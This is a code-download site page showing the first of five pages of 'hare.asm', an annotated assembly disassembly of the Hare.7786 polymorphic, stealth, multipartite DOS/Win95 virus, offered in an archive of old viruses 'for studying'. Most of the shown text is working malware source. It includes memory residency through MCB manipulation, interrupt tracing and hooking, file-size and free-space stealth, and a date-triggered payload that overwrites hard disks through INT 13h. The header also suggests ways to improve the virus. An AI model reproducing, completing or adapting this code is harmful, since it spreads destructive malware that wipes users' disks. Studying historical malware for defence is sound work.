⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 hare.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 5 页
字号:
;============================================================================
;
; HDEuthanasia-v3 by Demon Emperor.
;
; Disassembly of the Hare.7786 virus.
;
; Source: 103k
;
; Disassembly was done by T-2000 / Invaders.
;
; April 1998 / May 1998.
;
; Very stupid written! MUCH double, triple code, unstructured programming,
; different variables used.
;
; Full stealth polymorphic multipartite virus.
;
;
;  I guess da source is 70% reconstructed, the rest is kinda hard to do,
;  So I don't think that I will complete it (I got better things tha do).
;  Also please don't blame me for the pretty lame disassembly, I released
;  it only Bcoz I haven't seen any other disasms of Hare. I U decide to
;  finish the rest of the disassembly, I would appreciate if U gave me a
;  copy.
;
;  Demon Emperor seems to have a great knowledge about Win95, he introduced
;  several interresting techniques. It's a shame though, that the virus
;  has a bunch of shortcomings, these are:
;
;       - It doesn't pad the polymorphic code (different filesizes).
;       - Shoddy programming: It could loose a lot of weight (bytes), if
;         the author has used flexible routines.
;
;
;  Some improvements:
;
;       - INT 16h: also hook INT 10h, and don't allow writes to the screen,
;         turn-off PC-speaker.
;
;
;
;     TARGETS: 1st harddisk & 1.44M diskettes.
;     PAYLOAD: Message & disktrashing.
;  ENCRYPTION: Slow polymorphic.
;      STATUS: In the wild.
;
;
;  Assemble with TASM 3.2 (or compatible).
;
;       TASM hare.asm /m
;
; *** = Bug report/remark (actually too many to write down).
;
;============================================================================


; The following equates show data references outside the range of the program.

DATA_24E        EQU     7C16H                   ;*
DATA_25E        EQU     7DBEH                   ;*
Virus_Size      EQU     (OFFSET Virus_End - OFFSET Virus_Begin)


                .MODEL  TINY    ; (hmmm... not really!).
                .STACK  1024
                .CODE

Virus_Begin:
START:

                MOV     SI, 0                   ; Delta offset.
                ORG     $-2
Padding         DW      0

		CLD
		STI

                MOV     CX, 0F2Ch               ; Decrypt second layer.
                MOV     DI, OFFSET Layer_2      ; (slightly polymorphic).
		ADD     DI, SI
Decrypt_2:
                ;NOT     WORD PTR CS:[DI]
                nop
                nop
Key_2:          nop

		INC     DI
		INC     DI
		LOOP    Decrypt_2
Layer_2:
		MOV     AX, 0FE23h              ; Residency-check.
		INT     21h

		CMP     AX, 0Dh                 ; Are we already resident?

		PUSH    SI
		PUSH    DS

		JNE     Decrypt_Layer_3

		JMP     Exec_Host

Decrypt_Layer_3:

                MOV     AL, 0
		ORG     $-1
Key_3           DB      0
		OR      AL, AL
		JZ      Make_Resident

		MOV     AH, AL
		ADD     AH, 01h
		MOV     CX, 0E65h
		MOV     DI, OFFSET NewInt01h
		ADD     DI, SI

LOCLOOP_6:
                XOR     CS:[DI], AX
		INC     DI
		INC     DI
                ADD     AL, 2
                ADD     AH, 2
		LOOP    LOCLOOP_6

Make_Resident:
		INT     12h                     ; Get total DOS-memory in AX.

		MOV     CL, 6
		SHL     AX, CL                  ; Convert to segment-address.

		DEC     AX
		MOV     ES, AX

		CMP     ES:[8], 'CS'            ; Systemcode?
		JE      Find_Last_MCB
LOC_8:
		MOV     AH, 52h                 ; Get list of lists.
		INT     21h

		MOV     AX, ES:[BX-2]           ; Get 1st MCB.

Find_Last_MCB:  MOV     ES, AX

		CMP     BYTE PTR ES:[0], 'Z'    ; Last block?
		JE      Last_MCB_Found

		MOV     AX, ES:[3]              ; Get total memory in MCB.
		INC     AX                      ; Plus size MCB (10h bytes).
		MOV     BX, ES
		ADD     AX, BX                  ; Current MCB + total mem.
		JMP     Find_Last_MCB

Last_MCB_Found:

		MOV     AX, ES:[3]              ; Get total memory in MCB.
		SUB     AX, (8912 / 16)         ; Subtract our needed mem.
		JC      LOC_8

		MOV     ES:[3], AX              ; Put it back.
		INC     AX                      ; Plus size MCB.
		MOV     BX, ES
		ADD     AX, BX
		MOV     ES, AX

		POP     DS                      ; DS:SI = Entrypoint virus.
		POP     SI

		PUSH    SI
		PUSH    DS

		PUSH    CS
		POP     DS

                MOV     CX, Virus_Size          ; Copy virus to virussegment.
		XOR     DI, DI
		CLD
		REP     MOVSB

		PUSH    ES                      ; JMP to relocated virus.
		MOV     AX, OFFSET Relocated
		PUSH    AX
		RETF

;
; 0 = No
; 1 = Yes
;
; Bits:
;       0
;       1  Disable stealth.
;       2  Windows 95/NT running.
;       3
;       4
;       5
;       6
;       7  Windows 95/NT running.
;

Relocated:
		MOV     CS:Flags, CL            ; Clear Flags variable.

		MOV     AX, 160Ah               ; Identify Windows version
		INT     2Fh                     ; and type.

		OR      AX, AX                  ; Function accepted?
		JNZ     Bad_Windows

		CMP     CX, 03h                 ; Enhanched version running?
		JB      Bad_Windows

		OR      BYTE PTR CS:Flags, 10000000b

Bad_Windows:    CALL    Check_Poly_Sector
		CALL    Infect_Harddisk

		PUSH    CS
		POP     DS

		MOV     AH, 52h                 ; List of lists.
		INT     21h

		MOV     AX, ES:[BX-2]           ; Get 1st MCB in AX.
		MOV     First_MCB, AX           ; Save it for the tracer.

		MOV     BYTE PTR Trace_Function, 19h ; Get free diskspace.
		MOV     BYTE PTR Fake_PUSHF, 00h
		MOV     byte ptr Trace_Done, 01h

		MOV     AX, 3521h               ; Get address INT 21h.
		INT     21h

                MOV     Int21h, BX              ; Save INT 21h.
		MOV     Int21h+2, ES

		MOV     Trace_Int, BX           ; Find entrypoint.
		MOV     Trace_Int+2, ES
		CALL    Tracer

		CLD                             ; Replace address INT 21h
		MOV     SI, OFFSET Trace_Int    ; with traced address.
		MOV     DI, OFFSET Traced_Int21h
		MOVSW
		MOVSW

		XOR     AX, AX                  ; Hook INT 21h.
		MOV     DS, AX

		MOV     DS:[21h * 4], OFFSET NewInt21h
		MOV     DS:[21h * 4 + 2], CS

		CALL    SUB_56
		CALL    Del_PortDriver

		POP     ES                      ; ES:DI = Virus entrypoint.
		POP     SI

		XOR     SI, SI

		PUSH    SI
		PUSH    ES

Exec_Host:
		POP     ES
		POP     SI

		PUSH    ES
		POP     DS

		PUSH    DS

		CMP     BYTE PTR CS:[SI+Host_Type], 01h
		JE      Exec_EXE

		ADD     SI, OFFSET Old_Entry
		MOV     DI, 100h
		PUSH    DI
		CLD

		PUSH    CS
		POP     DS

		MOVSW                           ; Restore original 3 bytes
                MOVSB                           ; in da .COM-file.

		PUSH    ES
		POP     DS
		CALL    Clear_Registers
		RETF

Exec_EXE:
		MOV     AX, CS:[SI+Old_Entry+2]
		POP     BX

		ADD     BX, 10h                 ; Plus size PSP.
                ADD     AX, BX                  ; Add effective segment.
                MOV     CS:[SI+JMP_Host+2], AX  ; Store it in the code.
		MOV     AX, CS:[SI+Old_Entry]

		MOV     CS:[SI+JMP_Host], AX
		ADD     CS:[SI+Old_Stack+2], BX

                CALL    Clear_Registers         ; Clear registers & flags.

		MOV     SS, CS:[SI+Old_Stack+2]
		MOV     SP, CS:[SI+Old_Stack]


		DB      0EAh                    ; JMP to host.
JMP_Host        DW      0, 0

Traced_Int21h   DW      0, 0
Int21h          DW      0, 0

JMP_COM         DB      90h                     ; JMP to virus in .COM-file.
		DW      0


Host_COM_JMP:

Old_Entry       DW      OFFSET Carrier, 0
Old_Stack       DW      0, 0
Old_Mod512      DW      30h
Old_Byte_Pages  DW      2
FileTime        DW      9AA0h
Host_Type       DB      01h
Temp1           DW      1E6Ah, 3
Trace_Int       DW      9AA0h, 2498h
First_MCB       DW      253h
Trace_Done      DB      0
Fake_PUSHF      DB      0
CodeSegment     DW      0
Int1Ch          DW      0, 0
Flags           DB      0
PSP_Segment     DW      0
Free_Clusters   DW      0
Trace_Function  DB      3


Clear_Registers:

		XOR     AX, AX

		PUSH    AX                      ; Clear all flags (also TF).
		POPF

		STI

		MOV     CX, AX                  ; Clear registers.
		MOV     DI, AX
		MOV     BP, AX
		MOV     DX, AX
		MOV     BX, AX

		RETN



NewInt01h:
		PUSH    AX
		PUSH    BX
		PUSH    BP
		PUSH    DS
		MOV     BP, SP

		MOV     AX, [BP+10]             ; AX = CS.
		MOV     BX, [BP+08]             ; BX = IP.

		MOV     CS:CodeSegment, CS

		CMP     AX, CS:CodeSegment
		JE      Exit_Int01h

		CALL    Check_Opcode

		CMP     AX, 0F000h
		JNB     LOC_14

		CMP     AX, CS:First_MCB        ; In DOS-segment?
		JA      Exit_Int01h             ; Continue tracing when not.
LOC_14:
		AND     CS:Trace_Done, 00000001b
		JZ      Exit_Int01h

		MOV     CS:Trace_Done, 00h
		MOV     CS:Trace_Int+2, AX      ; Store segment.
		MOV     AX, [BP+8]
		MOV     CS:Trace_Int, AX        ; Store offset.

Exit_Int01h:
		POP     DS
		POP     BP
		POP     BX
		POP     AX

                CMP     CS:Fake_PUSHF, 1
		JE      LOC_16

		IRET

LOC_16:
		MOV     CS:Fake_PUSHF, 0

		RETF


Tracer:
		MOV     AX, 3501h               ; Get INT 01h address.
		INT     21h

                MOV     Temp1, BX               ; Save INT 01h address.
		MOV     Temp1+2, ES
		MOV     DX, OFFSET NewInt01h

                MOV     AH, 25h                 ; Hook INT 01h.
		INT     21h

		XOR     DL, DL

		PUSHF
		POP     AX
		OR      AX, 100h                ; Turn TF on.
		PUSH    AX
		POPF

		MOV     AH, Trace_Function

		PUSHF                           ; Trace the function.
		CALL    DWORD PTR Trace_Int

		PUSHF
		POP     AX
		AND     AX, NOT 100h            ; Single-step mode off.
		PUSH    AX
		POPF

                LDS     DX, DWORD PTR Temp1     ; Restore INT 01h.
		MOV     AX, 2501h
		INT     21h

		PUSH    CS
		PUSH    CS
		POP     ES
		POP     DS

		RETN

Check_Opcode:
		PUSH    AX
		MOV     DS, AX
		MOV     AL, [BX]

		CMP     AL, 9Dh                 ; Next instruction POPF ?
		JNE     LOC_17

		OR      [BP+0CH], 100h          ; Set TF in flags on stack.
		JMP     LOC_18
		NOP
LOC_17:
		CMP     AL,9Ch                  ; PUSHF ?
		JNE     LOC_18

		INC     WORD PTR [BP+8]
		MOV     CS:Fake_PUSHF,1
LOC_18:
		POP     AX
		RETN


SUB_4:
		MOV     AH, 04h                 ; Get clock.
		INT     1Ah

		TEST    DH, 00001000b
                JZ      Luck_4_User

		CMP     DL, 22h                 ; Trigger-date?
		JE      Payload

Luck_4_User:
		RETN

PayLoad:
		MOV     AX, 03h                 ; Clear the screen.
		INT     10h

		MOV     SI, OFFSET Message      ; Display text.
		MOV     BH, 00h
		MOV     CX, 3Dh

Display_Char:   LODSB                           ; String [si] to al
		MOV     AH, 0Eh                 ; Display character.
		INT     10h

		LOOP    Display_Char

		MOV     DL, 80h
LOC_22:
		MOV     BH, DL
		XOR     DL, 01h

		MOV     AH, 08h                 ; Get disk drive parameters.
		INT     13h

		AND     CL, 00111111b           ; 0 - 63.
		MOV     AL, CL
		MOV     AH, 03h
		PUSH    AX
		MOV     DL, BH
                MOV     AH, 08h
                INT     13h                     ; Disk  dl=drive 0  ah=func 08h
						;  get drive parameters, bl=type
						;   cx=cylinders, dh=max heads
		AND     CL, 00111111b           ; 0 - 63.
		MOV     AL, CL
		MOV     AH, 03h
		MOV     DL, BH
		MOV     CX, 0101h
		PUSH    AX
		MOV     BP, SP
LOC_23:
		PUSH    DX
LOC_24:
		TEST    DL, 00000001b
		JNZ     LOC_25

		MOV     AX, [BP]
		JMP     LOC_26
LOC_25:
		MOV     AX,[BP+2]
LOC_26:
		INT     13h                     ; ??INT NON-STANDARD INTERRUPT
		XOR     DL, 01h

		DEC     DH
		JNZ     LOC_24

		POP     DX

		INC     CH
		JNZ     LOC_23

		ADD     CL, 40h
		JNC     LOC_23

		ADD     DL, 2
		ADD     SP, 4

		JMP     LOC_22

; Calls the original INT 21h.

Traced_i21h:
		PUSHF
		CALL    DWORD PTR CS:Traced_Int21h

		RETN

Stealth_DiskSpace:

		PUSH    BX
		PUSH    AX

		MOV     AH, 62h                 ; Get PSP-address.
		CALL    Traced_i21h

		POP     AX

		CMP     CS:PSP_Segment, BX
		JNE     LOC_28

		CMP     CS:Trace_Function, DL   ; Drive.
		JNE     LOC_28

		POP     BX
		POPF

		CALL    Traced_i21h
		MOV     BX, CS:Free_Clusters    ; Fake # of free clusters.

		RETF    2

LOC_28:
		MOV     CS:PSP_Segment, BX
		MOV     CS:Trace_Function, DL   ; Save drive.
		POP     BX
		POPF
                CALL    Traced_i21h             ; Execute function.

		MOV     CS:Free_Clusters, BX    ; Genuine # of free clusters.

		RETF    2

Stealth_Filesize:

		CALL    DWORD PTR CS:Int21h    ; Execute function.

		PUSHF
		PUSH    AX
		PUSH    BX
		PUSH    ES

		TEST    CS:Flags, 00000010b     ; Stealth-Mode off?
		JNZ     Exit_Size_Stealth       ; Then no file-stealth.

		OR      AL, AL                  ; No error occurred?
		JNZ     Exit_Size_Stealth       ; Else exit.

		MOV     AH, 2Fh                 ; Get DTA-address.
		CALL    Traced_i21h

                CMP     CS:Function_i21h, 40h   ; FCB/Dir ?
		JA      Dir_Stealth

                OR      WORD PTR ES:[BX+26h], 0
		JNZ     LOC_30

                CMP     ES:[BX+24h], 1E9Ch
		JB      Exit_Size_Stealth
LOC_30:
		MOV     AX, ES:[BX+1Eh]
		AND     AL, 00011111b           ; Erase all but seconds.

		CMP     AL, 00010001b           ; 34 seconds?
		JNE     Exit_Size_Stealth

		SUB     WORD PTR ES:[BX+24h], (Virus_Size + 70)
		SBB     WORD PTR ES:[BX+26h], 0

		JMP     Exit_Size_Stealth

Dir_Stealth:
                OR      WORD PTR ES:[BX+1Ch], 0
		JNZ     LOC_32

		CMP     ES:[BX+1Ah], 1E9Ch
		JB      Exit_Size_Stealth
LOC_32:
		MOV     AX,ES:[BX+16h]          ; Get time in AX.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -